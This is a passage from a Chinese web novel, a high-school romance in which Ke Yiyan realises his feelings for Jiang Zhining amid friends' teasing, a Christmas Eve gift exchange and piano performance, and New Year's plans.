“撬墙角的是男主还是男二？” “男二。” “最后撬成功没？” “当然没有。” 俞杨哦了声，表情有些失望地说：“看来这条路不可行。” 韩辰笑起来，意味深长瞥了眼柯译衍，拎出重点说：“不是这条路不可行，是编剧不允许男二行，否则，男二很有可能上位。” “原来是这样！”俞杨双眼重现光彩。 柯译衍旁听着两人胡扯，心里清楚俞杨在打什么注意，他眼尾锋利一瞥，满是警告地说：“你别给我找事。” “不不找不找，找什么找，我可没那闲工夫啊，比赛很多，训练很忙。”俞杨吓了一跳，连忙转移话题，“我说呢，难怪你最近看上去心事重重，我吧，就是自作多情，还以为你在烦我劝你去美国冬训！” “你也烦。”柯译衍毫不留情地说。 俞杨：“行，我烦！你可当心点吧，连宁王都看出你有心事了，昨天她还特意问我呢。” 柯译衍面无表情盯着他：“你怎么回的？” 俞杨不敢说实话，不自然揉了揉鼻尖，目光飘忽不定地说：“就说我在拿冬训的事烦你啊！还能怎么回，昨天我又不知道你喜欢宁王咯！” 柯译衍冷漠收回视线，没质疑。 说到冬训，俞杨脑子里突然灵光一闪。 他想了想，趁热打铁道：“衍神啊，我觉得宁王这事挺复杂的，不是不能喜欢她，而是时机不对，咱们晚到一步，人家就是有订过亲的青梅竹马，这能怎么办？” 韩辰哼了声，插嘴：“订亲？说这么正式干嘛，不就是娃娃亲。” “你闭嘴，娃娃亲也是亲！”俞杨瞪他一眼，强调，“人蔡从亲口承认过，两家真有这个意向，不是闹着玩的娃娃亲！” 接着，他对柯译衍说：“也不知道你喜欢宁王喜欢到什么程度了，到底是那种喜欢，就比如我吧，我也喜欢宁王啊，但我是纯粉丝支持那种喜欢。” “重点来了！这不是正好有去美国冬训的好机会吗，要不然，你和我一起走？每天老和宁王见面也不行，趁寒假，你去美国冷静想想下一步该怎么办，到底是追，还是怎么的。” “衍神啊，最近因为宁王挺心烦吧？心烦了就去打球嘛！全都发泄出来，打球打累了，你就冷静了，就适合审视内心思考感情了，你觉得怎么样？” “哎，两全其美，简直完美，我觉得挺好！” 俞杨满意为自己点赞。 柯译衍：“” 韩辰顺势说：“这办法好，我看行，那剧本里的男二也这么做，特意飞去美国冷静。” 俞杨感兴趣说：“是吗，冷静之后呢？” “这能说吗？”韩辰脸色有些复杂，欲言又止。 俞杨一脸单纯：“说啊，我批准了。” “衍神，这不怪我啊，是俞杨让我说的。”韩辰轻咳了声，憋笑说，“男二冷静后，发现自己更爱了。” “” 俞杨举双手双脚发誓，从出生到现在，他从未如此迫切的希望一个人闭嘴！ 他猛地扑过去，用力捂住韩辰那张讨人嫌的狗嘴，气道：“从现在开始，你被禁言了！” 同一时间，电梯叮一声打开。 周静瑶随着人流走出来，拐弯时，余光瞄见三个男生齐刷刷坐在角落里。 她愣了愣，扭头看过去，纳闷问：“你们坐这干嘛？宁王病房又不在这边。” 俞杨装没事人放开手，干笑两声：“没事没事，闲聊呢。” 周静瑶半信半疑哦了声，抬脚走了。 等人走后，俞杨继续兴致勃勃拉着柯译衍出馊主意，柯译衍不耐烦听，甩开他，起身就走。 走到楼下，柯译衍拐去便利店买了瓶冰水，付完款，外公电话打过来，他接下接听，顺势拿起水，走到落地窗边听电话。 * 周静瑶从病房里出来，直奔便利店。 她速度挑了几串热气腾腾的关东煮和烤红薯，点的东西有点多，店员拆分成两个纸杯装，最后往杯子里浇了几勺清汤。 周静瑶捧着东西坐到窗边，一扭头，发现柯译衍站她旁边打电话，便打了声招呼：“巧啊衍神。” 柯译衍侧目，冲她微微点头。 外公没什么事，聊了几句家常话，老人家那边挂断后，柯译衍将手机锁屏，随意放到桌上，偏头看向周静瑶。 “怎么了，有话说？”周静瑶龇牙咧嘴嚼着过烫的牛肉丸，主动开口。 “姜织宁小时候”柯译衍犹豫了下，问，“在蒋医生那边看过病？” 她费劲咽下牛肉丸，“蒋医生？哪个蒋医生？” “不是这个医院的医生。”柯译衍报出其他医院的名字，“精神科的蒋医生。” “你说蒋叔啊。”周静瑶恍然大悟哦了声，紧跟着奇怪道，“嗯？你怎么知道宁王在他那边看过病？” 柯译衍淡声解释：“之前陪她去医院开中药，正好碰到蒋医生，一起吃了顿饭。” “所以宁王和你说，她小时候在蒋叔那儿看过病？” “嗯，她提了嘴，没细说。” 要是以前，周静瑶绝不会透露一个字。 在学校，她嘴里经常喊着双A组，且知道柯译衍和姜织宁是朋友关系，但关键时刻，她分得清轻重。 朋友也分远近，她不觉得双A组的朋友份量有多重，只不是同学之上而已。 经过姜织宁这回住院后，周静瑶突然对柯译衍多了层滤镜，毕竟他是被姜阿姨特批能去医院帮忙的人，她想给姜织宁送东西，只能让柯译衍转交。 开玩笑地说，她和蔡从都没这待遇。 换句话讲，她开始把柯译衍当成自己人了。 周静瑶喝了口热汤，叹气问：“你知道宁王为什么和她姑姑一起生活么？” 柯译衍猜测说：“父母原因？” “你知道她父母去世了？”她惊讶睁大眼。 他点头：“舅舅知道。” “哦，也是，你舅舅认识姜阿姨。”周静瑶接着说，“宁王父母在她上小学时去世了，没记错的话应该是她十岁那年，她父母在高速公路上遭遇连环车祸，送去医院没抢救过来。” “宁王和父母关系特别好，所以两人车祸去世对她打击特别大，她那会儿多小啊，才十岁的小姑娘，哪能接受双亲同时去世，她退出娱乐圈，也是因为这件事。” 说到这，她笑着调侃一句：“否则，我们的宁王现在就是□□星咯～” 柯译衍笑了下。 周静瑶：“那段时间，宁王一直不说话，怎么引导也不开口，我们特别着急，觉得她精神被严重刺激，引发失语症，所以姜阿姨带她去了蒋叔那边治疗，就是这么个渊源吧。” 失语症，柯译衍回想起第一次见到姜织宁的场景。 十岁那年，他在餐厅里一眼注意到小女孩面无表情、静默不语，始终沉浸在自我世界的糟糕模样。 他那时候以为，姜织宁只是和他一样心情不好，所以才懒得说话。 柯译衍回过神来，皱眉说：“原来是这样。” 周静瑶点头嗯了声：“蒋叔在心理治疗上很厉害，后来宁王就慢慢开口说话了。其实她原来学的是古典舞，她妈妈就是古典舞舞蹈家，自从父母去世，她就没怎么碰过古典舞了。” 她感慨地说：“你别看宁王现在经常笑，很好相处，她治疗期那段时间，脾气超级超级坏，一言不合就发脾气，我和蔡总都快要被她折磨死了，还不能说她，只能耐心宠着。” “我俩胆子特别大，经常陪她去蒋叔那边看病，唉，好在这一切都成为了过去式，宁王有在好好生活，虽然没有小时候那么活泼，但也很不错了。” 柯译衍沉默听着，心想，也就是说，蔡从陪伴姜织宁度过了一段艰难漫长的时光。 心烦意乱间，他正欲开口询问蔡从，就见周静瑶利索把纸杯叠到一起，丢向旁边垃圾桶。 她迅速拿起塑料袋，快言快语冲他说：“哎，不说了，我去给宁王送烤红薯了，这玩意儿得乘热吃。” 周静瑶风风火火推门而去。 第73章 你有喜欢的女生了？ 病情稳定好转, 千盼万盼，姜织宁终于盼来批准出院的消息。 出院不久后，平安夜来临。 江洲市节日气氛浓厚, 各大商场陆续搭建起几层楼高的圣诞树，街边大小商户挂上漂亮的节日装饰物, 整座城市像一个精致梦幻的水晶球。 学校周围的小店跟风售卖各种圣诞礼物，还有人在学校后门摆摊, 卖精美礼盒包装好的大苹果，价格并不便宜, 由于包装格外好看, 所以在学生里掀起了一阵抢购热潮。 平安夜这天, 姜织宁成了苹果大户。 早上一到班里，她便发现桌上摆满了贺卡、苹果、礼物, 桌上放不下，就给她放到椅子上、抽屉里, 坐都没法坐，特别离谱。 柯译衍也没好到哪里去, 情况和她差不多，桌上和抽屉里堆满了圣诞节礼物。 两人望着这堆花花绿绿的夸张礼物, 默契陷入沉思状。 姜织宁和柯译衍在礼物上的态度如出一辙, 为了不必要的麻烦, 在学校里从来不收别有深义的礼物, 所以平时这方面的困扰不算多。 这次可能是平安夜到了，按照惯例, 同学之间会互赠寓意平安的友谊之果, 那些喜欢两人的暗恋者便浑水摸鱼，趁势送来礼物表达心意。 休学之前, 姜织宁和蔡从一个班，天天形影不离，有蔡从这张明晃晃的挡箭牌在，喜欢她的男生们自然不敢乱送礼物，眼下她留级高二，无法和蔡从呆一块儿，男生们春心萌动，又开始不死心了。 怎么说呢，姜织宁收到的苹果数量多到可以去校门口摆个摊，绝对能大赚一笔。 俞杨咬着苹果转身，笑眯眯打量着姜织宁。 “宁王，这么多苹果能吃完吗？ 姜织宁从周静瑶那边借了个空书箱过来，把礼物放进箱子里，等空了再处理。 她弯腰忙碌着，无奈叹气：“我也不知道啊。” 另一边，柯译衍沉思着摆满桌的礼物该怎么处理，见状，俞杨好心提了嘴：“要不要帮你退回去啊？” 还有这种好事？ 柯译衍迅速抬眼。 俞杨故意瞥了眼姜织宁，下一秒，笑嘻嘻盯着柯译衍，耐人寻味地说：“我跟你讲啊，做人要专心点，既然你有那什么的人了，就不要因为一点礼物迷了眼，你说是吧衍神？” 柯译衍：“” 无语间他下意识看向姜织宁，她在忙自己的事，没注意这边，他收回视线，眼神锋利看着俞杨，无声警告，随后下巴微抬，面无表情指了下桌子：“都拿走。” 俞杨撇嘴啧了声，一边搬礼物，一边故意“哎哟哎哟！”戏精叫唤：“好重啊，东西也太多了吧，我得跑多少趟才完事啊？那圣诞老人都没我忙！快递小哥都没我业绩高！唉，我真是给你做牛做马” “”啰里八嗦，柯译衍听得不耐烦，拿起英语教材朝俞杨肩膀抽了下，冷声骂，“把嘴闭上，请你吃饭。” “久悸，两顿。”俞杨嬉皮笑脸谈条件。 柯译衍：“行。” 俞杨笑眯眯，搞事情说：“好好好，为了我们衍神的人生大事，我甘愿做牛做马！我愿意！” 柯译衍当即皱眉，不是让他闭嘴吗？ 就在他准备拿书抽人时，姜织宁装好所有礼物，起身看过来，好奇加入话题：“大事，什么人生大事啊？” “”手臂突兀停顿在空中，柯译衍沉默三秒，面无波澜回，“没什么，他胡说八道。” 姜织宁：“啊？” 柯译衍镇定收回手，从容嗯了声。 俞杨趁机解释：“也不是什么大事，这不都是女生送的礼物吗，还是退回去比较好，衍神对她们没意思，万一引起某些人误会就不好了。” 姜织宁恍然大悟哦了声，坐下没多久，突然扭头看向柯译衍，一副若有所思的表情。 柯译衍：“怎么了？” 她眨了眨眼，语出惊人：“你有喜欢的女生了？” 柯译衍：“” 俞杨瞠目结舌，“啪！”一声，惊的礼物没拿稳，瞬间掉地上。 要不然怎么说女生第六感厉害呢，今天算是被他见识到了！ 俞杨咽了咽口水，一点点僵硬转动脖子，浑身窒息看向柯译衍，心里直打鼓，为他捏了把冷汗。 柯译衍神色平静，冷静反问：“怎么得出的结论？” 姜织宁也不知道该怎么说，脑子里灵光一闪，突然蹦出来的想法，就这么自然而然地问了出来，她也觉得挺离谱。 想了想，她浅笑解释：“俞杨不是说，万一引起某些人误会不好嘛” 俞杨愣了愣，简直想当场给姜织宁跪下。 她也太牛了吧！ 第六感也太敏锐了！ 就差一步！ 姜织宁差点猜出他说的“某些人”就是她自己！ 俞杨被柯译衍无比深沉的死亡凝视压迫着，不由吓得深深呼吸，立马主动解围：“宁王啊，我那就是随口一说，意思是如果衍神收了礼物，那个送礼的女生可能会误会。” “哦，好有道理。”姜织宁点了点头，转头对柯译衍表示，“不好意思，是我误会你了。” 柯译衍垂眼翻开书，没回应她。 俞杨瞧着这一幕，心里连连叹气。 嘤！衍神好惨，特么暗恋真的好惨！ “对了宁王！”他机智转移话题，问，“你那边有没有礼物要还的？反正我都做快递小哥了，可以一起帮你捎过去。” 还真有一些其他班男生送的贵重礼物。 姜织宁：“会不会太麻烦你了？” 俞杨：“不会不会，顺路嘛。” 姜织宁：“那我待会儿看一下。” 俞杨：“可以，随时为宁王服务！” …… 下午活动课，姜织宁去舞蹈教室看彩排，就是她晕倒之前教的那群高一学妹们。 姜织宁住院后，舞团队长一改老好人姿态，气得拿出队长威严，以姜织宁辛苦累晕的名义，冲队员们大发脾气，同时勒令互为情敌的两位女生，要么握手言和好好跳，要么立马滚蛋退出。 有个女生当场选择退出，队长迅速找了位新人加入，之后她们一直在挤时间苦练舞蹈，最后节目顺利审核通过。 周静瑶同姜织宁开玩笑，说学妹们跟个励志剧似的。 舞房里，姜织宁靠着落地镜，安静看完精彩表演，发自内心为她们鼓掌。 晚自习的时候，趁着节日氛围让班里学生放松一把，班主任刘彬特意给大家放电影看。 窗帘拉起来，灯熄灭，刘彬打开《放牛班的春天》，一部非常经典的影片，班里同学早已看过，但众人依然看得津津有味，经典影片值得二刷。 晚自习放学铃一响，姜织宁起身戴上针织帽，拿起书包，婉拒周静瑶去美食街的邀请，步伐匆匆赶回家。 刚才姑姑发消息说，给她和柯译衍带了些圣诞甜品回来，她要送给柯译衍的运动护具也帮忙拿回来了。 姜织宁回到家，推开大门，比她人还要高的圣诞树瞬间映入眼帘，绚烂灯带一闪一闪发着光。 她姑姑是个很注重生活品味的女人，所以早早就在家里摆上了精致漂亮的圣诞树，不仅自己家摆着，还给柯译衍那边弄了个一摸一样的圣诞树摆上，说这样才有节日氛围。 装着运动护具的礼袋被放在餐桌上，姜织宁立马走到餐桌边，放下书包，从袋子里拿出黑色护具查看，检查过没问题后，她拎起礼袋，开门去对面。 一放学就赶回来了，本以为柯译衍会比她晚到家，结果刚出门，就撞见柯译衍从电梯里走出来。 “” 姜织宁无语心说，这也太巧了吧，礼物藏都没地方藏。 好在柯译衍没往她手上看，只是随口问了句：“吃夜宵？” 姜织宁不动声色松了口气，点头说：“姑姑给我们买了苹果派，平安夜嘛，一起吃吧。” 柯译衍输入密码，推开大门，舒适的暖气和食物的香气瞬间扑面而来。 两人一前一后进门。 赵阿姨从厨房里走出来，手里端着切好的苹果派，笑眯眯说：“放学回来啦，外面很冷吧？姜小姐特意给你们带回来好几样甜品，快去洗手坐下来吃。” 除了甜品，姜织宁一眼发现餐桌上摆着一个体积不小，亮着灯的姜饼屋。 她被造型华丽的姜饼屋吸引，立马双眼放光走过去，弯腰仔细欣赏，惊喜问：“姑姑还买了姜饼屋？做得好精致啊。” 赵阿姨：“这不是姜小姐买的，是译衍订的。” “是你订的啊？”姜织宁放下礼袋坐下来，惊讶抬眼望向柯译衍。 柯译衍脱下外套，随手放到椅背上，解释：“禾上那边的圣诞节新品。” 姜织宁哦了声，拿出手机拍照留念，嘀咕说：“之前在酒店里看过巨型姜饼屋，比人还要高，估计有两三米，特别壮观。” “你喜欢小的？”柯译衍忽然问。 “啊？也不是”她回过味来，惊讶反问，“这是送我的？” “嗯，送你的。” 姜织宁没说话，愣愣盯着姜饼屋，柯译衍琢磨了下，猜测说：“不喜欢？” 姜织宁回过神，弯唇笑起来：“怎么可能，当然喜欢了，就是看它有点大嘛，舍不得吃。” 柯译衍笑了笑：“可以放家里当装饰品。” “能放多久啊？” “如果保存得好，应该能放一年。” “这么久？” “嗯。” 姜织宁好奇问：“这种尺寸的是不是要提前预订？” 柯译衍摇头：“预订不了，这个尺寸没得卖，算是展示品，餐厅里只有小型姜饼屋卖。” “哦，懂了。”她眉眼弯弯，“那我更舍不得吃了，得好好保存起来。” 其实柯译衍预订的很早，早在姜织宁住院前，他就和禾上那边打过招呼。 那次他陪外公外婆去禾上吃饭，席间，瞧见店长端了个大型姜饼屋出来，和几名店员到橱窗边比划着，那一瞬，他下意识想起姜织宁，心想着圣诞节送一个给她。 他这脑子，完全不由自己控制，一触发姜织宁三个字，便会自作主张上赶着做决定。 店长说这种尺寸的姜饼屋是拿来装饰用的，不对外售卖，他嫌小型的太小，跟小孩玩具似的，便让店长帮他多做一个大尺寸，送人用。 …… 姜织宁安静趴在餐桌上，双眼放光欣赏着姜饼屋，看样子是真心喜欢，柯译衍静静盯着她看了一会儿，起身走进书房。 书桌角落放着一个淡粉色的礼品袋，是送给姜织宁的圣诞礼物，他挺早就拿到手了。 原本早上就该给她，和送朋友礼物一样，不掺杂额外想法，纯粹友谊之情，自然地交给她，再祝她平安夜快乐，就这么简单。 如今，这份礼物却让柯译衍觉得有点棘手。 他被剧烈的心动风暴裹挟着，认清了内心。 他开始对姜织宁产生顾虑，产生超出朋友界限的想法。 犹豫之下，礼物没送出手，想着等圣诞节过了再说，找个没什么意义的普通日子，再交给她。 但人总是善变，尤其是深陷感情困扰的时候。 比如现在，柯译衍皱眉注视着礼物，心想干脆给姜织宁得了，否则放在书桌上，他天天看着也很心烦。 俗话说得好，眼不见为净。 “柯译衍，快点出来吃苹果派！”外头响起姜织宁的催促声，“我尝过了，这个不太甜，等会儿就凉了。” 柯译衍目无情绪拎起粉色礼袋，转身走出去，他拉开姜织宁右边的椅子坐下，顺势把袋子放到她手边。 “这是什么？”姜织宁放下叉子，好奇扭头看过来。 “圣诞节礼物。”他平淡说。 姜织宁愣了下：“送我的？” 他挑眉：“不然？” “现在能拆吗？”她笑眯眯问。 “嗯。” 是一个国外奢牌，主打青春少女风，姜织宁平时经常穿这个品牌的衣服。 她从纸袋中拿出礼盒，拆开最上面的蝴蝶结丝带，打开盒盖，里面放着一顶柔软的针织帽，还有一副同色系手套，渐变粉，款式特别少女。 相当实用的礼物，因为她是帽子狂魔，尤其冬天的时候，出门必戴帽子，否则冷风吹过来很容易头疼。 姜织宁夸了声好看，拿起帽子打量，忽然发现帽沿处有几个不大不小的字母，她凑近看了眼。 Ning？ 不是品牌名，她咦了声，侧目看向柯译衍，指着字母说：“该不会是我的名字吧？” 柯译衍：“就是你的名字。” 姜织宁微微睁大眼，有些惊讶，这还能定制啊？ 她整理好礼盒放到旁边，顺手拿起自己带过来的礼袋，递给柯译衍，笑着说：“没想到我们挺有默契，都准备了礼物，我给你买了套运动护具，护腕、护膝、护踝都有，你可以运动的时候用。” 柯译衍神情意外，没想到姜织宁会给他准备礼物。 “不过上面没有你的名字，别嫌弃啊。”她开玩笑说。 “怎么会。”柯译衍弯唇笑起来，已经是意外惊喜了。 她确认问：“你应该用得上吧？” “当然。” “嗯，那就好。” 不得不说，姜织宁给柯译衍挑礼物挑得很头疼。 并不是普通圣诞节送苹果、送糖果这么简单，毕竟她前段时间住院，柯译衍一直在帮忙照顾她，所以想着出院后，给他送份贵重礼物以表感谢。 男生的礼物特别难挑，姜织宁没什么经验，蔡从的礼物倒是好选，和游戏相关就行，但柯译衍不一样，她觉得，他看上去什么都不缺。 起初想了老半天，实在想不到买什么好，便打算给他买副网球拍。 由于欠缺专业知识，她私下去问俞杨买哪款合适，结果俞杨说柯译衍不缺球拍，而且对他们这种专业球员来说，球拍不太好买。 每位球员对球拍的要求不一样，所以拍模细节会不一样，通常来说，球员更习惯使用老款球拍，因为打得顺手，不太会更新迭代。 很多职业球员常年使用老款球拍打比赛，由厂家特别定制，独一无二，并非市售款，只不过会按照品牌方的宣传要求，时不时更换新款涂装。 姜织宁听俞杨这么一科普，顿时觉得送球拍不是理想选择，况且她得知柯译衍为什么放弃网球后，心里也有点顾虑，生怕球拍送过去，会给他增加心理负担。 当时，她顺嘴把心中顾虑和俞杨说了说，他一听，哈哈笑起来：“不至于不至于！这就有点夸张了啊，衍神不至于这么脆弱，偶尔活动课的时候，他也会去网球场打球啊。” 两人商量了半天，最后姜织宁让俞杨推荐了一个专业护具品牌，决定送柯译衍更实用的运动护具。 …… 这时候，周静瑶给姜织宁发了个圣诞祝福视频，她顺势点开，爵士钢琴版的Jingle bells随之响起。 视频中，一部分画面是两人的日常合影，另一部分是姜织宁自己都不知道的偷拍照。 她耐心看完视频，笑回了条语音：“配乐好好听。” 柯译衍懒散撑着脸颊，心情不错吃着苹果派，闻言侧目瞥她一眼，忽然慢悠悠地问了句：“想听现场版么？” “当然想听啊。”姜织宁一边故意四处张望，一边说，“如果这里有哪位好心人愿意弹给我听的话，我会非常感谢他的。唉，也不知道好心人在不在这里，我怎么没看见呢？柯译衍，你看到了吗？” “行了啊，别演了。”柯译衍被她的做作举动逗笑，松弛后靠向椅背，笑着说，“想听就给你弹。” “真的吗？”姜织宁表情惊讶，“虽然你家摆着钢琴，但我从来没听你弹过。” 他下巴微抬，指了下她送的运动护具，勾唇表示：“这还能有假？就当是谢礼。” 她眉眼弯弯抬起手：“那我作为听众就先鼓掌了。” 姜织宁双手捧起热可可，跟随柯译衍挪到钢琴旁。 柯译衍掀开绒布罩，打开琴盖，圣诞树旁边摆了个单人沙发，姜织宁好奇瞄了眼钢琴，随即坐到沙发上，感叹道：“施坦威哎，真可惜，放在这里吃灰也太可惜了吧。” 柯译衍不在意笑了笑，拿平板看了两眼琴谱，娴熟松弛地按下琴键。 同样是爵士乐，但她明显能听出柯译衍弹奏的乐曲更富有即兴演奏感，蕴含着他独有的浪漫与多彩的生命力。 姜织宁捧着香气扑鼻的热可可，膝盖上铺了条薄毛毯，整个人放松窝在沙发里。 墙上挂着诺大的松叶花环，缠绕灯带的圣诞树闪闪发光。 有人在为她弹奏钢琴，她是唯一的幸运听众，除了窗外没有浪漫的初雪，一切都是那么的完美。 壁灯散发出暖黄色的光，柔和光晕笼罩在柯译衍发间，缓缓倾泻到他的脸上、身上。 光影恰到好处，少年一身冷感气质被融融光晕无形削弱，英俊冷酷的面容温柔了许多。 少年在发光。 姜织宁眼睛一眨不眨，安静的，出神地注视着柯译衍。 除了耳熟能详的《Jingle bells》《All iwant for christmas is you》，他还给她弹了一首极其温柔，极其浪漫的曲子。 音符中蕴含着轻柔涌动的情感。 只不过，她看他看得太入迷了，以至于这一刻忘记了曲名，以至于忽略了他的琴风格外耳熟。 第74章 小猫爪轻挠他心尖 最后一个音符轻缓落下, 周遭一片寂静，柯译衍侧目看向姜织宁，目光交汇瞬间, 心头倏地紧了下。 又来了。 小猫爪轻挠他心尖。 少女又在用那种挠人心痒的眼神盯着他。 柯译衍无言数秒，招架不住她直勾勾的凝视, 率先挪眼避开对视，闲闲问了句：“想什么呢？” 姜织宁迟缓眨了眨眼, 脑子空白三秒，回过神来。 呃失态了 她一直出神盯着柯译衍, 看得太入迷了, 连琴声结束都没有察觉到。 脸上不由露出几分尴尬, 姜织宁想了想，找借口说：“有句话叫音乐是触动心灵的魔法, 嗯，果然如此, 你弹得太好听，都给我听入迷了。” “可惜手边没花, 否则我都想给你献花。”她佯装叹气了口气。 柯译衍勾唇笑了笑，偏头看着她, 慢悠悠说：“是吗？” “当然了, 不过最后那首好像和圣诞节没什么关系, 是什么曲子？” 他说：“Beauty and the Beast, 友情赠送。” “Beauty and”姜织宁微微睁大眼，反应过来, “原来是美女和野兽的主题曲, 我说呢，难怪这么耳熟, 弹都弹了，那你再友情赠送一首？” 柯译衍弯唇合上琴盖：“没有，到此为止。” 姜织宁愣了愣，立马拖着嗓音失望啊了声：“就不能再弹一首吗？我们是朋友哎。” 少年无动于衷。 姜织宁不满质问：“柯译衍你是不是中国人？听没听过来都来了？” 他叹了口气，起身提醒：“睡觉时间到了啊，是谁说要早睡早起？” 姜织宁满脸不情愿站起来，仰头看着他，软声央求：“你再弹一首嘛，真的太好听了，就一首！再听一首我就回去睡觉！” 时间不早了，柯译衍没如她的愿，双手扶住她肩膀，将人一路轻推到大门口。 “……” 姜织宁没好气回头瞥他一眼，开门走了。 …… 隔天是圣诞节，意味着令人期待的元旦假期即将来临。 下课铃一响，班里人成群结队，热烈讨论起放假去哪里玩，元旦去哪里跨年。 周静瑶捧着包薯片，迅速蹿到姜织宁座位，和她商量假期出去拍照的事。 俞杨坐位子上旁听俩女生讨论了会儿，忽然好奇转身问：“宁王，你们元旦放假有什么打算啊？要一起跨年吗？” “31号那天晚上她肯定要和我一起跨年啊，这可是新年哎！”周静瑶抢着回答，顺势问了嘴，“干嘛？你也想一起啊？” 俞杨回头瞄了眼站在班门口的柯译衍，脑子里灵光一闪，自作主张说：“当然想啊，我和衍神能申请加入组织不？” 周静瑶无所谓摊开双手：“我随便啊，你问宁王，宁王点头就行。” 俞杨眼巴巴看向姜织宁。 姜织宁当然欢迎了，笑说：“我也随便，没问题的。” 话音落下，周静瑶熟练安排起来：“那你们晚上过来吧，白天宁王有演出，今年跨年夜有创意焰火秀，听说特意请了烟花大师过来，具体几点碰见到时候再说。” 俞杨：“好，那就这么说定了！” 柯译衍结束交谈回到座位，刚坐下，就见俞杨眉飞色舞通知他：“31号晚上。” 柯译衍：“什么？” 俞杨：“咱两和宁王她们一起跨年，已经说好了。” 柯译衍：“？” 什么一起跨年？ 他怎么不知道这件事，都不问问他有没有时间，想不想去？ 柯译衍沉默了下，漆黑眼眸流露出几分困惑，平淡问：“什么时候说好了，我在场么？” “就刚才啊。” “你在不在场不重要。” “你就说去不去？” 俞杨摆出一副“我在给你创造机会，你不要不识相！”的威胁眼神，凶巴巴瞪着柯译衍。 “” 都这么威胁他了，还能说什么，柯译衍慢吞吞嗯了声 12月29日，元旦放假前的最后一晚，晚自习取消，江中迎来盛大的迎新晚会。 下午最后一节正课结束，班级几名男生从座位上兴奋蹿起来，集体疯狂拍桌，高声呼喊：“解放了！解放了！放假咯！！！” 按照要求，吃过晚饭后先回班集合，再统一去学校礼堂观看迎新晚会。 天光逐渐暗下，高二一班的小鸟们陆续飞回班里，身姿放松，或站或坐，欢声笑语，气氛格外喧闹。 临近出发前，几名班干部合力拎着几个大塑料袋跑进班里。 为首的班长将袋子放到讲台桌上，用力拍桌示意众人安静，随后大声宣布：“彬彬特意为我们准备了热奶茶和巧克力，大家自己上来拿！” 小鸟们顿时惊喜围到讲台边，嘴里“wow！”声一片。 “什么？彬彬还给我们买奶茶了？！” “冬天里的一杯热奶茶，呜呜呜，彬彬也太贴心了吧！” “有什么口味啊？能挑不？” 刘彬一走进班里，就见几名学生笑嘻嘻举起奶茶，异口同声冲他大喊：“谢谢彬彬请客！” “什么彬彬，没大没小，有没有礼貌！”男人佯装生气瞪眼。 “刘老师，这可是我们对你的爱称！独一无二哦！” 刘彬当场翻了个白眼，无比嫌弃地啧了声，指挥说：“有些同学不在班里，同桌都自觉点，帮忙代领下奶茶巧克力，柯译衍，你帮姜织宁拿一杯过去。” 柯译衍点了点头，姜织宁晚上有节目，下午正课结束她就去了舞蹈教室，一直没回班。 刘彬脸上浮起笑容，笑眯眯说：“明天就放假了，假期里你们一定注意安全！另外，新的一年，老师祝我们一班所有同学新年快乐！身体健康！学业有成！” 众人笑着呼喊：“彬彬新年快乐！” 元旦假期第一天，姜织宁没有懒觉睡，一大清早就起来了，因为要陪周静瑶外出拍照，做她的摄影模特。 原本计划着圣诞节期间拍照，可惜那几天都是工作日，她们要上学，没时间做这些，好在圣诞节和元旦挨得近，有些地方的圣诞装饰还没有拆除，趁此机会，周静瑶赶紧拉上御用模特出门练习。 两人行动快，效率高，一整天都在外面忙活。 姜织宁没半句怨言，陪周静瑶马不停蹄从早拍到晚，从城西拍到城东，从市区拍到江边。 姜织宁脸在江山在，周静瑶摄影技术也不赖，彼此合作默契得很，周静瑶一个手势，稍作描述，姜织宁就能听懂她想要什么效果。 夕阳要落不落地挂在天边，江水波光粼粼，被天空壮丽的火烧云灼成闪耀的赤红色，美得惊心动魄。 快要到傍晚的时候，两人结束工作，找了个长椅坐下休息，周静瑶拿着相机，低头一张张翻看今天的拍摄成果。 她越看越满意，废片很少，原图就美爆了，洋洋得意自己摄影技术的同时，不忘夸赞姜织宁脸在江山在。 江边附近就是市网球中心，专业网球赛事全放在这里举行，日常没有比赛的时候，球场会开放给市民使用，所以天天有人过来打网球，节假日也是如此。 柯译衍和俞杨、吴瑞奇几个人下午就过来了，他们提前预约了两个球场，单打双打轮着玩。 中途，柯译衍下场休息。 他拧开矿泉水，一坐下，俞杨就跟个狗皮膏药似的粘了过来，紧挨着他坐下，直勾勾盯着他的护腕。 打了一下午的球，此时浑身冒热汗，俞杨就这么热烘烘靠过来，柯译衍顿时嫌弃斜他一眼，啧了声，起身往旁边挪了挪。 下一秒，俞杨抬起屁股，也跟着挪了挪。 柯译衍仰头喝了几口水，锋利喉结滚动，放下水后，无语发现狗皮膏药又黏过来了。 他对这种连体婴儿的行为感到很不理解，不耐烦扭头，冷声质问：“想干什么？” 俞杨一把拉过柯译衍手臂，反复打量他的护腕，阴阳怪气道：“哟，这是新护腕吧？以前没见你戴过啊。” “你没见过的多了去。”柯译衍冷脸甩开他。 “小气，让我看看啊！”俞杨紧拽住他的手，故意问，“你自己买的？我看不像，老实交代，是不是哪个妹子送的？” 柯译衍：“和你有什么关系，你没护腕？” 俞杨冷哼一声：“还给你不耐烦上了，俞老师实话和你说吧，你这礼物啊，还得感谢我呢！” 柯译衍嗤笑斜他一眼，“感谢你干什么？你出钱了？” 俞杨：“你俞老师出力了好吗！别以为我不知道啊，这护腕是宁王送你的，瞧你那宝贝样，心里美死了吧，难怪今天打球打得这么起劲！” “” 柯译衍顿了下，慢吞吞扭头，用一种“你为什么会知道？”的怀疑眼神盯着他。 俞杨露出得意洋洋的小表情，得瑟说：“哎，纳闷了吧！我不仅知道是宁王送的，还知道她最初想送的不是这个。” 柯译衍琢磨了几秒，皱眉问：“她问你意见了？” “是啊，嘻嘻，我和宁王私下很熟的，关系特好。”俞杨故意炫耀说。 柯译衍沉默了下，漫不经心说：“是吗，倒是第一次听说。” 俞杨嬉皮笑脸，拿他刚才的话呛他：“那当然，你不知道的事多了去！” 柯译衍也不生气，勾唇笑了笑，大长腿懒散敞开，抱臂后靠向椅背，慢条斯理地说：“既然这么熟，那天在病房里，你们都聊了什么？说来听听。” “啊？”俞杨愣了愣，“哪天啊，什么病房里？” 柯译衍意味深长看着他：“韩辰来探望的那天。” 俞杨皱眉回忆。 看他想不起来，柯译衍好心提醒一句：“我去买桑葚之前。” 这么一提醒，俞杨瞬间想起来了。 柯译衍去买桑葚之前，他在和宁王悲伤回忆过去呢，回忆柯译衍为什么放弃网球的悲惨过去，柯译衍的禁聊雷区全都被他抖给宁王了，一点灰都不剩 想到这，俞杨心里一咯噔，心说坏了，这人怎么记事记这么久啊！ 柯译衍瞧出俞杨微表情不对劲，就知道自己果然没猜错，眉眼沉沉压着他，冷笑说：“是不是和姜织宁说了什么不该说的话？” 俞杨：“” 柯译衍：“关于我的。” 俞杨：“” 